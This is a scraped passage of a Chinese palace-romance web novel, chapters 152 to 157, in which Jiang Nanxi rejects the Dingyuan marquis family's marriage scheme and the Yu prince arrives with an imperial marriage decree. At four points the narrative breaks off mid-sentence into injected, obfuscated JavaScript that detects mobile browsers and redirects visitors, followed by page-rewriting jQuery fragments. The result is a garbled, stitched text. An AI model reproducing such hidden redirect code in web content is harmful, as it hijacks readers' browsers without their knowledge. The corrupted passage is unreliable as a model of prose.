“都说南溪县主蠢笨粗俗,无才无貌,又放荡无耻,可我瞧着怎地不是一回事啊?该不会那些传言都是定远侯府刻意让人放出去,为的就是侵吞英国公的遗产吧?” 听到这些议论声,凌婉茹眼前一黑,差点要栽倒下去。 不不不!不行! 绝不能让“谣言”再这般流传发散开去了! 否则定远侯府定将身败名裂。 她凌婉茹也会死无葬身之地。 丈夫和公婆是绝不会放过她的! 凌婉茹心念电转,迅速扯出一个嗔怪的笑容,用刻意甜腻的声音道:“你这孩子,跟姨母浑说什么玩笑话呢?姨母那么疼你,怎么可能让你当妾?” “你要嫁入我定远侯府,那自然是要以正妻的名分,八抬大轿,风风光光抬入翊轩的松风阁的!” 姜思瑶的脸歘一下变得惨白。 单薄的身体摇摇欲坠,仿佛随时会倒下去。 让姜南溪当正妻?那她呢? 她又算什么? 第一百五十二章 姐妹两共侍一夫 沈翊轩急道:“娘……” 凌婉茹狠狠瞪了他一眼,“你给我闭嘴!” 姜南溪斜睨了姜思瑶和沈翊轩一眼,笑的意味深长:“哦,姨母的意思是,刚刚沈世子当众对妹妹表白,说他的正妻之位非妹妹莫属。其实都是一文不值的屁话,是耍着妹妹和在座贵客玩儿的?” “啧,这样不好吧?堂堂侯府世子,说话犹如放屁,做事出尔反尔,这要传扬出去,别人还当定远侯府是个唱作俱佳的戏班子呢!” 沈翊轩勃然大怒,控制不住地吼道:“姜南溪,你敢如此诋毁我!我何时说过……” “沈翊轩,你给我闭嘴!” 凌婉茹一声尖叫,怒气比沈翊轩更甚百倍:“你若是再敢胡说八道一句,这侯府世子的位置,你也不用坐了!” 沈翊轩呆住了。 他简直不敢相信自己的耳朵。 可凌婉茹却根本没空去理会这个蠢货儿子。 吼完后,她重新恢复了优雅温和的笑,看着姜南溪道:“历来婚姻大事,都是父母之命媒妁之言,你大表哥区区混话,也当得你放在心上?” “傻孩子,你尽管放心吧,你大表哥的婚事,姨母我还是做得了主的。我说你是我定远侯府的世子夫人,那你必然就是世子夫人,这下你总该安心了吧?” 姜南溪眼神慢慢冷了下来。 原身这位姨母,可真是个厉害角色。 发现情况不对,当机立断便抛弃姜思瑶,转而许她正妻之位。 呵呵,真是能屈能伸,会见风使舵啊! 只是,她凭什么觉得自己会要沈翊轩这坨垃圾? 然而,姜南溪刚要开口,却被凌婉茹截住。 她笑的寒气森森,意味深长:“南溪,你可别忘了,你与定远侯府的婚约,乃是先皇指婚。无论如何,你都是要在我府中,挑个儿子嫁了的。你不选翊轩,难不成还要选翊武不成?” 至于沈翊文,之前侯府是不知道他被宣华郡主看上了。 如今既然知道了,虽然觉得憋屈。 可在宣华郡主放手之前,谁敢给郡主的人议亲? 十岁的翊武闻言却是眼前一亮,立刻跳着举手大喊:“我可以,我可以!大哥不娶南溪表姐,我来娶!” 只可惜,没人会搭理他这个小屁孩。 反倒是沈翊轩看了弟弟一眼,心中莫名不爽。 他虽不想娶姜南溪为妻。 可不知道为什么,看到有别的男人觊觎姜南溪。 他又觉得无比的暴躁。 就仿佛是本该属于自己的东西,被旁人玷污了。 随即又想到,若是当真让姜南溪把嫁妆要回去,与定远侯府彻底断绝关系。 这个放荡无耻的女人,还不知道会怎么去勾搭外男呢! 沈翊轩心中烦闷,突然觉得母亲的提议也未尝不可。 而凌婉茹此时还不知道儿子的心境变化。 她正紧紧盯着姜南溪,带着妥协,也带着威胁,缓缓道:“至于思瑶,翊轩若是真的喜欢,将她娶回来做个侧夫人也未尝不可。从今往后,你们姐妹两共侍一夫,和和美美,也算是一段佳话。” “南溪,你说呢?” 姜思瑶简直不敢相信自己的耳朵。 侧夫人? 什么侧夫人?! 这不是让她变相的当妾吗? 凭什么? 明明她才该是世子夫人,明明这场及笄宴本就是为了让她成为名正言顺的世子夫人才举办的! 为什么如今会变成这样? 姜思瑶无助又凄然地看向沈翊轩。 希望自己的爱人会帮自己出头,替自己争取正妻的位置。 然而,沈翊轩却避开了她的目光。 反而带着几分殷切期盼,紧紧盯着姜南溪。 他想:自己母亲如今可是当众许了她自己的正妻之位,姜南溪这下该欣喜若狂了吧? 这些时日,她做那么多小动作,前前后后判若两人,今日还打扮的如此花枝招展勾引自己,不就是为了这一刻吗? 然而,下一刻,他就听到了姜南溪充满嘲讽的声音。 “姨母,你当我是收破烂的吗?” 姜南溪一脸嫌弃地看了沈翊轩一眼,“这种朝三暮四,出尔反尔、毫无担当的男人,谁爱要谁要去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你若是想以翊轩心中已经有了思瑶这种理由来搪塞姨母,那姨母可是不答应的。呵呵,或者你可以问问在座的各位夫人,这世间有哪个男子不是三妻四妾?” “翊轩都许了你正妻之位,难道你还不许他将思瑶也纳进门?如此善妒,可是会犯了七出之条的。” “还是说……” 第一百五十三章 好一对痴男怨女 凌婉茹目光冰冷而灼灼地盯着姜南溪,一字字道:“还是说,你早已打定了主意要撕毁婚约,无论如何都不肯嫁入我定远侯府?” “南溪,违抗圣旨可是欺君之罪,你可要好好想清楚了再回答!” 迎着凌婉茹满含胁迫的目光,姜南溪的眼眸微微沉了沉。 事实上,她最担心的便是这种情况。 定远侯府破罐子破摔之下,直接就选择履行婚约。 娶一个无权无势的世子夫人,或许让定远侯府不舒服。 但只要娶回去了,就只是个后宅女子。 定远侯府想要不知不觉把人弄死,是易如反掌的事情。 所以之前姜南溪才会不惜一切代价,将婚约转到萧墨宸身上。 她甚至为此博取了一份赐婚圣旨。 然而,并没有什么卵用。 当今圣上,根本就不会容许她这般声名狼藉的女人,嫁给自己的宝贝表弟。 而萧墨宸,也从未想过要真的娶她为妻。 现在与御王萧墨宸定亲这条路已经行不通了。 而没有新的婚约对象。 哪怕定远侯府已经将诸般算计表现在台面上。 哪怕沈翊轩的移情别恋已经明晃晃地公之于众。 在西楚国,也没有人会支持她与定远侯府**。 因为先皇赐婚圣旨在前。 没有人能够违抗圣命。 果然,方才还帮着她声讨定远侯府和姜思瑶的人,立刻便有不少开始倒戈。 “南溪县主,既然定远侯世子都愿意娶你为正妻了,你也当退一步才是!” “不错,其实世子也未做错什么,不过是想把姜二小姐也娶进门,男子三妻四妾,分属正常。南溪县主你大度一些,自然能家和万事兴!” “沈世子前途无量,又是这般青年才俊,南溪县主能嫁与这样的夫君,也该知足了!” “哈哈,什么知足,南溪县主此刻说不定正偷着乐呢!谁不知道她痴恋沈世子,这些年跟牛皮糖一般缠着沈世子不放。今日闹这一出,还不知道是真的不肯嫁,还是欲擒故纵呢!” 周围的议论声传入凌婉茹耳中,让她的神色终于舒缓开来。 露出满意的笑容。 今日虽所有事情的走向完全与她预期的相反。 但无论如何,定远侯府的颜面和本该属于侯府的嫁妆是保住了。 至于姜南溪这小**! 就算她机关算尽,真成了翊轩的正妻又如何? 等嫁进来后,自己有的是细碎折磨人的手段,让她知道什么叫做求生不得求死不能! 凌婉茹心中咬牙切齿地想着。 面上却露出越发温柔慈和的笑容。 轻轻推了沈翊轩一下:“还愣着干什么,快去好好哄一哄南溪啊!都是你这孩子脑子轴,想纳别的女子纳便是了,但也不能冷落自己正儿八经的未婚妻啊!” 沈翊轩自然也听到了周围人的议论。 越是听,他的嘴角就越发上扬,心中说不出的畅快愉悦。 他就说,姜南溪做这些,不过是为了欲擒故纵,逼他娶她罢了! 此刻听到凌婉茹的催促。 沈翊轩下意识就要往姜南溪走去。 但脚步刚迈出,他突然想到了什么,转头看向姜思瑶。 只见姜思瑶小脸惨白如纸,泪珠挂在长睫上,轻轻一眨便滑落眼眶。 单薄的身体更是如风雨中的小白花,摇摇欲坠,脆弱不堪。 仿佛随时都会被摧折。 沈翊轩的心一下子疼了。 他大步朝姜思瑶走去,伸手将她揽入怀中。 姜思瑶眼前一亮,呜咽着喊了一声:“翊轩哥哥……” 她就知道,沈翊轩早已被她迷得神魂颠倒。 更是与她山盟海誓过,会娶她为正妻。 如今又怎么可能会在大庭广众下,背弃她呢? 然而下一刻,就听沈翊轩满含心疼和歉意的声音响在耳畔。 “思瑶,你不用伤心,就算我被迫娶了南溪为正妻,我的心也永远在你身上,谁都夺不走!” 姜思瑶的脸僵住了。 她眼前一黑,几乎想要扯着嗓子尖叫出声。 谁要你的心?! 我要的是正妻之位!是世子夫人的尊荣! 沈翊轩却完全没察觉到怀中人的所思所想。 他将女孩柔弱的身体紧紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707972|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥在怀中,深情而热烈地表白。 “姜南溪以为强迫我娶了她,就能把我从你身边抢走。她错了!” “思瑶,就算你只是侧室,在我心里也永远占据着最重要的位置,是我沈翊轩最爱的女人。” “婚后,我也绝不会容许南溪她欺负你分毫!” “一切都没有改变!” “所以思瑶,别哭了,你哭的我心都疼了。” 说着,沈翊轩伸出手,轻轻擦掉了姜思瑶脸上的泪水。 自以为情真意切地道:“思瑶,我知道,你会懂我的心意,并且一直支持我的,对不对?” 姜思瑶:“……” 她几乎要维持不住自己的表情。 支持他? 那岂不是要她认命当妾? 那她这些年的谋划和努力算什么? 一场笑话吗?! 姜思瑶眨了眨眼睛,泪水扑簌簌便滚落眼眶。 她哽咽道:“翊轩哥哥,我自然懂你的心意,可……” “嘘!” 沈翊轩伸出一根手指,点在她的朱唇上,阻止她继续说下去。 “思瑶,不用多说了,就如你懂我一样,我也懂你的心意!” “你我之间,无须多言,便已经不容他人插足!” “如此一来,我便放心了!” 姜思瑶瞠目结舌,急切地想要表达自己的意思。 然而沈翊轩却已经转身走向了姜南溪。 姜思瑶一个哆嗦,狠狠咬到了舌头,疼的她整张脸都扭曲了。 泪水汹涌而出。 这一次是真的疼哭了,也气哭了。 可惜,那个口口声声说最心疼她的男人。 这次再没有回头多看她一眼。 而是扬着头,如一只逡巡自己领地的雄狮,大步走到了姜南溪面前。 那神情,高高在上,带着轻蔑和理所当然。 又隐隐含着志在必得的侵略性。 “你赢了,现在你如愿能成为我的正妻了!” 沈翊轩冷笑一声,“原来这些天,你如此造作,就是为了等这一刻,让我不得不娶你为妻。南溪,如今的你怎么会变得这般心机深沉?” 第一百五十四章 她是本王的未婚妻 话虽说的狠厉。 可沈翊轩的目光却忍不住再少女精致秀美的容颜与曼妙玲珑的身体上流连。 一阵异样的火热,陡然从下身窜起。 蔓延到四肢百骸,又烧到了他的喉咙。 让他口干舌燥,连带着出口的话,也不再那般冷淡。 “不过你可以放心,既然是我在大庭广众答应了娶你为正妻,我便不会再反悔。三个月后,我便与你完婚!” “既要成为我的妻,从今往后,你也要谨记恪守妇德,绝不可再与任何外男纠缠,更不可再小心眼地与思瑶争风吃醋。” “你若能做到这些,我今日便承诺……” 然而,没等他把话说完。 姜南溪忍无可忍,实在没忍住,爆了句粗口:“我可特么去你的吧!” 再让这极品**说下去,她就要吐了。 姜南溪抬头看着沈翊轩,咬牙切齿道:“沈翊轩,你是听不懂人话吗?我什么时候说过要嫁给你了?” 沈翊轩自信道:“南溪,你就别装了,若你不是为了强迫我娶你,又何必跑到思瑶的及笄宴上折腾。” 他不耐烦地伸出手,一把拽住姜南溪的手臂,就要把人拉到怀里。 “如今我都答应许你正妻之位了,你还闹什么?” “莫不是你还得寸进尺,要我许诺只能娶你一人?” “此事绝无可能,我答应过思瑶,是一定要将她纳进门的!” “但我也可以答应你,除你和思瑶外,我可以不再纳新人。” “如此这般,你总该满意了吧!” 姜南溪感觉沈翊轩的手抓在自己的手臂上。 哪怕隔着布料,都能感觉到宛如被黏腻爬虫缠上的恶心感。 她差点没当场吐出来。 眼神也骤然冷了下来。 没有萧墨宸的帮忙,要彻底摆脱定远侯府,确实麻烦了一点。 可却不代表她就真的束手无策了。 大不了鱼死网破,她一股脑儿把整个定远侯府的垃圾全毒死算了。 姜南溪冷冷道:“放手!” 沈翊轩望见她眼中的厌恶,心中咯噔了一下。 一股无名怒火蹭一下窜上来。 姜南溪在厌恶他? 怎么可能? 她明明应该是对他死心塌地,情根深种的。 怎么能厌恶他? 不,绝不可能! 一定是他看错了。 这女人如此作态,不过是想谋求更多罢了! 再次洗脑了自己,沈翊轩的脸色沉了下来:“姜南溪,你莫要太得寸进尺了,我都许你心心念念想要的东西了,你还想怎么样?” 说着,非但没有放手、 反而手上猛地用力,就要把人往怀里拉。 姜南溪的耐性终于彻底被这**耗尽了。 手中银针一闪,就要出手。 然而,比她手中银针更快的,是一道呼啸而来的寒光。 “啊——!” 沈翊轩发出一声惨叫,骤然松手。 身体趔趄着连连后退了好几步。 “翊轩,你怎么样?” 凌婉茹焦急地上前一把扶住沈翊轩。 待看清他的手,顿时发出一声尖叫:“翊轩,你的手!” 众人这才赫然发现。 沈翊轩的手此刻竟然被穿了一个血洞。 虽不至于彻底废掉手掌,可手背上的鲜血却正汩汩流出。 剧烈的疼痛,让沈翊轩额头上冷汗涔涔。 他猛地扭头看向门口处,厉声怒喝:“谁?是谁伤我?” 凌婉茹更是双目赤红:“到底是谁敢在我定远侯府伤我孩儿,欺我府中无人吗?” 话音刚落,门房处突然传来小厮颤抖的声音。 “御……御王殿下到!” “恭王妃到!” 哗——! 这一声喊,让宴会现场瞬间沸腾了。 有人怀疑自己听错了。 “方才说谁到了?御王?哪个御王?” 这京中还有哪个御王? 自然是那位曾在战场上攻无不克战无不胜,立下赫赫战功的战神。 是那曾权倾朝野,深受当今圣上宠爱和信任的王爷! 却也是如今人人都传闻命不久矣,一年来已几乎不在人前露面的残废。 可这样的御王,怎么会来参加一个小小庶女的及笄宴? 所有人都猛地转头。 伸长了脖子朝门口处看去。 因为太过震惊,甚至连小厮后面一句“恭王妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707973|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到”,都被众人忽略了。 姜南溪也愣住了。 萧墨宸? 他怎么会过来? 他来做什么? 愣神间,视线内慢慢出现了那熟悉的轮椅。 轮椅上,坐着个冷如天山雪,傲如苍山竹的年轻男子。 那张脸,哪怕早已见过无数次。 此刻在灿烂的暖阳映照下,依旧俊美的让人目眩神迷。 积石有玉,列松如翠。郎艳独绝,世无其二。 姜南溪甚至有一瞬间觉得。 此句话就是为这个男人而设的。 可偏偏,萧墨宸的容貌绝美,周身的威压与气势却冷得让人胆寒。 以至于,众宾客在看清来人的瞬间。 立刻便只觉从脚底升起一股凉意,慌忙低下头去,不敢与之对视。 有那么一瞬间,他们甚至忘了。 如今的御王还坐在轮椅上,不过是个残废。 随着轮椅的吱嘎声响,萧墨宸来到了姜南溪的身边。 两人一站一坐,一明媚一清冷。 却是男帅女美,说不出的契合般配。 沈翊轩看了两人一眼。 只觉得这一幕无比的刺眼。 想起之前姜南溪说与御王定下婚约。 他虽不相信这是真的。 可此刻却也无论如何都不愿被这男人压了一头去。 于是强忍着疼痛,咬牙道:“御王,你何故要打伤于我?” “何故?” 浓密的长睫掀起,落在凌婉茹与沈翊轩惊疑不定的脸上。 明明男人坐在轮椅上。 可这一眼,却硬生生给人一种居高临下的压迫感。 “沈翊轩,谁让你用那只脏手碰本王的未婚妻的?” “刚刚,就算是本王给你的一点教训了。” “从今往后,本王希望定远侯府的人全都记住了。” “谁再敢碰本王的王妃一下,就莫要怪本王不客气!” 歘——! 全场陷入了死一般的静寂。 就连姜南溪也难以置信地扭头看向轮椅上的男人。 萧墨宸到底在搞什么鬼? 谁是他未婚妻? 他们的婚约不是已经作废了吗?! 第一百五十五章 被这一家子给恶心到了 沈翊轩却是先她一步怒吼出声:“不可能!南溪怎么可能是你的未婚妻?” 他剧烈喘息着,连手腕的疼痛都忘记了。 看着萧墨宸的双眼几乎要喷出火来。 可连沈翊轩自己都不知道,他为何会如此愤怒,如此焦躁不安。 就好像是本该属于自己的东西,要被硬生生抢走了一般。 “御王殿下,我知你与我定远侯府有旧怨,却也不能在儿女婚事上信口雌黄,污我外甥女清白。” 凌婉茹迅速调整了表情,一脸委屈愤懑道:“天下皆知,先皇早已将南溪指婚于我定远侯府,南溪与我儿翊轩的婚事,也早在南溪刚及笄的时候就已经定下了。便是御王权势滔天,也不能这般强取豪夺,坏人姻缘吧?” 萧墨宸还未说话。 随他一起前来的司玄中已经轻笑了一声。 “侯夫人此言差矣!” “若在下没有记错,先皇的赐婚圣旨并非是将南溪县主直接指给沈世子,而是让县主在沈家的儿郎中挑一个最优秀顺眼的嫁了。” 司玄中的语调不疾不徐,却声音温润,口齿清晰。 确保在场的宾客每一个人都能听得清清楚楚。 姜南溪之前只顾着关注萧墨宸。 此时才发现,这位司先生今日特地穿了一身淡雅精致的竹青色儒衫。 显得格外郑重其事,又透着光风霁月、文人傲骨。 以至于从他口中说出的话,都仿佛特别有说服力。 “侯夫人或许是贵人多忘事,所以忘记了,早在几日前,南溪县主就当着恭王殿下的面,要求择选我家王爷为未来夫婿。” “此桩婚事符合先皇遗旨,有当今圣上下旨赐婚,又有南溪县主亲口择选允诺,哪里称得上强取豪夺,坏人姻缘呢?” 直到此时,被人忽略了一路的恭王妃,终于有机会站出来。 这也是姜南溪第一次见到恭王妃。 只见她大约五十来岁年纪,但头发却乌油油的,只有两鬓略见斑白。 脸盘子略显圆润,眼角还有着浅浅的笑纹。 可以想见,年轻时候的恭王妃并非绝世倾城的美人。 但定然是极其有亲和力的的甜美女子。 只见她脸上也未见半点被忽略的恼怒,反而笑盈盈得看了姜南溪一眼。 眉目间带着慈爱与一丝……不易察觉的怀念。 随即才道:“老身可以证明,无论先皇遗旨,还是南溪县主曾指名要嫁给御王,都如司先生所说,确有此事。” 哗——! 宴会场众人再一次躁动了。 谁都没想到,一场小小的及笄宴,会迎来这一次次的转折。 就在片刻之前,所有人还以为被庶妹夺走一切的南溪县主,恐怕永远都翻不了身了。 可一转头,她却成了定远侯世子和御王争相求娶的香饽饽。 一时间,众人都回不过神来了。 凌婉茹的一张脸几乎扭曲。 好半晌才咬牙道:“什么指名要嫁给御王?那不过是小情侣之间闹了矛盾后,说的气话而已,如何能当得真?” “更何况,婚姻大事,乃是父母之命媒妁之言。哪里是她一个小姑娘随口一句就能决定的?” “世人皆知,南溪县主一直养在我定远侯府,那是当做未来儿媳妇养的。先皇赐婚,自然赐的也是我定远侯府中的儿郎。与御王府可没有半点关系!” 一旁的祁老夫人此时也突然插嘴道:“御王,你连你侄儿的媳妇都要抢,这般横行无忌,嚣张霸道,就不怕遭天谴吗?还说什么有当今圣上的赐婚,你倒是把赐婚圣旨拿出来给我们看看啊?” “我可怜的孙儿啊,也是这样被他假传圣旨强行带走的,现在还在他手中吃苦受罪呢!呜呜呜……大家伙儿都来评评理,这般大逆不道的狂妄之徒,如何能让他在京中这般猖狂,残害无辜忠良啊!” 从萧墨宸一出现,祁老夫人立刻就红了眼。 她最疼爱的幺孙现在还被关在镇北军护君营中,叫天天不应叫地地不灵。 祁老夫人也曾让人偷偷溜进去看过一眼。 只说祁瑞斌已经被折磨的不成人形。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713319|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻仇人见面,祁老夫人自然和凌婉茹同仇敌忾起来。 凌婉茹闻言一喜。 有祁老夫人做马前卒,引导**,她就更不用怕了。 果然,席上也有不少当日被带去护君营“魔鬼军训”地孩子家眷。 一时间也群情激昂,大肆声讨起萧墨宸来。 “一年不见,御王越发嚣张跋扈了,竟连逼迫侄媳嫁给自己这种事都做的出来!” “可……可刚刚恭王妃不是说,是南溪县主主动要求嫁与御王的?” “呵,这话你也信?如今的御王是什么光景?定远侯世子又是何等的青年才俊?你若是南溪县主,会愿意嫁与一个命不久矣的残废,还是前途远大的定远侯世子?” “听说御王还性情暴戾,前两任未婚妻都是活活被他吓死的,南溪县主如何真的敢嫁……” 姜南溪忍不住看了萧墨宸一眼。 只见男人在这般颠倒黑白的抹黑声讨中,却神色如常。 甚至连眼底的情绪都没有波动一下。 就好像被骂的人不是他一样。 他不急,姜南溪都忍不住急了。 这狗王爷到底在搞什么啊? 就任由别人这样泼脏水? 而且自己不是都说婚约作废,跟他解除盟约关系了吗? 他今天为什么还要过来? 凌婉茹听着周围的声音,却是心情越来越舒畅。 面上却还要做出自苦地模样,轻轻叹了口气道:“御王殿下,我知你与我们定远侯府之间有些误会。可你哪怕再憎恨我们,报复我们,也不该拿南溪一个小姑娘的清白和婚姻来做文章。” “南溪只是我的外甥女,与你和定远侯府之间的恩怨没有半分关系,你这般利用她,欺骗她,污了她的名声,让她还怎么有脸嫁给翊轩做正妻,成亲后又有什么颜面出去见人啊!” 麻蛋! 是可忍孰不可忍! 姜南溪实在是被定远侯这一家子给恶心到了。 跟狗王爷的帐可以稍后再算。 但这群极品垃圾必须死! 第一百五十六章 赐婚圣旨 姜南溪沉下脸,正要说话。 手却猛然被人握住。 男人的手不似普通男子那般粗糙,骨节粗大。 而是修长如玉,指节匀称。 可偏偏却又宽大有力。 一伸手便能将她的小手整个包裹住,就像是强势的侵略和占有。 又像是密密实实的保护。 掌心的薄茧,摩挲在细嫩的手背皮肤上,更是带来一种过电般的酥麻感。 姜南溪的身体瞬间僵住。 一阵热烫爬上耳根,让她下意识地挣扎。 然而萧墨宸的手却抓的极紧,不让她有半点逃脱的可能。 姜南溪忍不住瞪了过去。 萧墨宸侧首,掀起浓密的长睫看了她一眼,淡淡道:“乖一点。” 姜南溪:“……!!” 好想拔光这狗王爷的睫毛! 没有人注意到两人在袍袖遮掩下的小动作。 除了一个人! 沈翊轩几乎是咆哮出声的:“姜南溪,你在做什么?当着我的面跟别的男人勾勾缠缠?” “你懂何为廉耻?何为妇道吗?还不快给我过来,否则,便是拼着违背父母之命和圣旨,我也绝不会娶你这种水性杨花的女人!” 姜南溪:“……” 她已经连骂人的力气都没有了。 这种极品**,还是直接毒死算了! 眼不见心不烦。 姜南溪却没看到。 因为沈翊轩的这句话,萧墨宸一直古井无波的眼眸,瞬间暗沉下去。 抓着她的手,也陡然收紧。 姜南溪微微皱眉,正要扭头看萧墨宸。 就见沈翊轩再也按捺不住,突然大步朝她走过来。 “南溪,你还不明白吗?萧墨宸他根本就不会真的娶你,他今日来闹这一出,无非是为了让我们定远侯府没脸罢了?” “你之前还口口声声说已经让皇上给你赐婚,可你如今看到了?哪来的赐婚,萧墨宸根本就不会让你成为御王妃!只有我,还会可怜你,愿意娶你为正妃!” “现在,我给你最后一次机会,马上到我身边来,否则……” 然而,沈翊轩的话还没说完。 一阵奸细地嗓音就从府门外传来。 “圣旨到!” “南溪县主接旨!” 在众人目瞪口呆的注视中。 苏公公捧着明黄色的圣旨,在一众侍卫太监的簇拥下,缓缓走入定远侯府中。 噗通! 也不知道是谁先跪倒在地的。 紧接着,宴席上的所有人全都跪倒下去。 全场唯有萧墨宸依旧不动如山地坐在轮椅上。 苏公公的视线从萧墨宸身上扫过,最终落在姜南溪恭顺低下的头顶。 眼底闪过一抹异样的光芒。 随即才尖声道:“奉天承运,皇帝诏曰!” “今有英国公遗孤姜南溪,忠良之后,温婉贤淑,得先皇之嘉许,为表皇恩浩荡,承先皇之遗志,特将姜氏孤女南溪县主,赐婚于御王萧墨宸,结为秦晋之好,三月后成亲。钦此!” 姜南溪听着这一样的声音,一样的圣旨内容。 恍惚间只觉得自己仿佛穿越到了几日前的太后寝殿内。 什么情况? 为什么会有赐婚圣旨? 还是当众宣读? 皇上不是根本不打算让她成为真正的御王妃吗? “南溪县主……南溪县主?愣着干什么?还不领旨谢恩?” 姜南溪猛地回过神来,连忙伸手接过圣旨。 也不管众目睽睽之下了,她将明黄绢帛摊开。 这一次,如愿在圣旨的最后看到了朱红的玉玺盖章。 这是一份真正的,被宣之于众的圣旨。 不再只是御王和皇上随便拿出来哄哄她的。 可是为什么? 为什么是现在? 她都已经打算放弃嫁入御王府这条路了。 赐婚圣旨却偏偏到了。 萧墨宸是觉得耍着她很好玩吗? “这不可能!” 耳边传来沈翊轩惊怒的声音:“皇上为什么会将南溪赐婚给御王,她明明该是我的……” 啪! 有什么飞射在沈翊轩脸上。 直如一个巴掌狠狠甩上去。 沈翊轩当即发出一声惨叫,半边脸颊瞬间肿起来。 他捂着脸惊怒地看向萧墨宸,眼中露出浓烈的恨意。 萧墨宸却似乎连看都懒得多看他一眼,视线一瞬不瞬落在女孩依旧跪 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沈翊轩急了,满脸希冀地逼迫:“南溪,你还愣着干什么,快说你不肯嫁给御王啊!这可是你最后的机会了,否则,你便再也没有资格成为我的正妻了!” 司玄中忍不住笑了一声,眸中满是嘲讽。 然而一垂眸,却看到自家王爷握在轮椅扶手上的十指微微收紧。 王爷,这是在紧张? 司玄中一时有些愣住了。 难道,南溪县主看不上自家王爷,却会看上沈翊轩这种蠢货? 不,不可能吧? 可一想到从前那些姜南溪痴恋沈翊轩的传言,司玄中又有些不确定起来。 难道,难道南溪县主当真会抗旨拒婚? 司玄中想起之前的七日断肠丸,心中隐隐有些慌了。 众人的视线都落在姜南溪身上。 大家都想知道,传言痴恋沈翊轩的南溪县主,究竟会不会为了心上人而违抗圣旨,拒绝残废的御王。 下一刻,就见姜南溪缓缓伏跪在地。 用清灵悦耳的声音,大声道:“臣女谢皇上隆恩!” 第一百五十七章 嫁妆单子 轰! 沈翊轩觉得,自己的天塌了。 姜南溪竟然接了圣旨。 她,她要嫁与萧墨宸为妻了。 为什么? 为什么她宁愿嫁与一个命不久矣的残废,也不愿嫁给自己? 难道自己对她还不够宽容,不够好吗? 为了她,自己甚至连心爱的思瑶都委屈只娶为侧室了。 她到底还想要怎么样? 然而,哪怕心中再咆哮不甘。 面对圣旨,面对代表了皇上的苏公公,沈翊轩敢怂恿姜南溪抗旨,却终究不敢自己出头反抗。 他只能眼睁睁地看着姜南溪叩首谢恩。 看着本该属于他的女人,成为名正言顺的未来御王妃。 但他不会怪自己无能。 只会怨怪姜南溪,为什么不肯为了两人的感情,拼死抗旨争取一下。 苏公公看着趴伏在的姜南溪,露出一个皮笑肉不笑的表情。 随后一转头,对着萧墨宸恭敬行礼。 “御王殿下,老奴今日出来就是替皇上来传旨的,如今赐婚圣旨已经传达,不日便会公告天下,那老奴也该回去跟皇上复命了。” “对了,皇上还让老奴给王爷您带了一句话,这场赐婚,若非王爷您亲自恳求,皇上是断断不会应的。” “但哪怕赐婚圣旨已下,王爷您只要反悔了,皇上一样愿意为了您撤回指婚。” 苏公公这一番话,是当着姜南溪的面说的。 完全不在乎她听到了会有多难堪。 不过姜南溪却不在乎。 她早知道当今圣上是个多没原则的弟控。 他根本就不觉得自己能配得上自己的宝贝表弟。 要下发这道赐婚圣旨,能高兴才有鬼了。 萧墨宸朝苏辔微一颔首:“劳烦苏公公回去禀告皇兄,臣弟铭谢圣恩!” 听到这句话,苏公公的脸上才露出满意的神情。 挥了挥拂尘,转身就要走。 姜南溪连忙便要开口说话。 她今天真正的目的可还没达到呢! 然而,另一道低沉磁性,又带着清冷的声音,却先她一步响起。 “等一下!” 苏公公脚步一顿,脸上挤出殷切讨好的笑容:“御王殿下,您还有什么吩咐吗?” 萧墨宸修长的手指,轻轻转动着玉扳指。 浓密的长睫低垂着,仿佛漫不经心道:“姜南溪既已是本王的未婚妻,那定远侯府,是否该将本王王妃的嫁妆,原原本本还回来了?” 凌婉茹的脸唰一下白了。 她最恐惧的事情,终于还是发生了。 姜南溪也愣住了。 她呆呆地看向萧墨宸。 原来这男人今日破例出现在人前,是为了完成当日对她的承诺吗? 替她撑腰,帮她夺回嫁妆。 她还以为,他早已忘记了。 萧墨宸看着凌婉茹惨白的面色,忍不住笑了一声:“怎么?定远侯府,不想还吗?” 凌婉茹咬着唇,用尽了全身的力气,才让自己的声音不至于颤抖。 “王爷……有所不知,其……其实我妹妹和妹夫当年留给南溪的嫁妆,也并没有多少,这些年我们几乎都花在这丫头的吃穿用度上了。如今要归还嫁妆,恐怕还需要归整一番,侯府再添钱填补一下,才能……” 嗤! 一声笑,打断了凌婉茹的话。 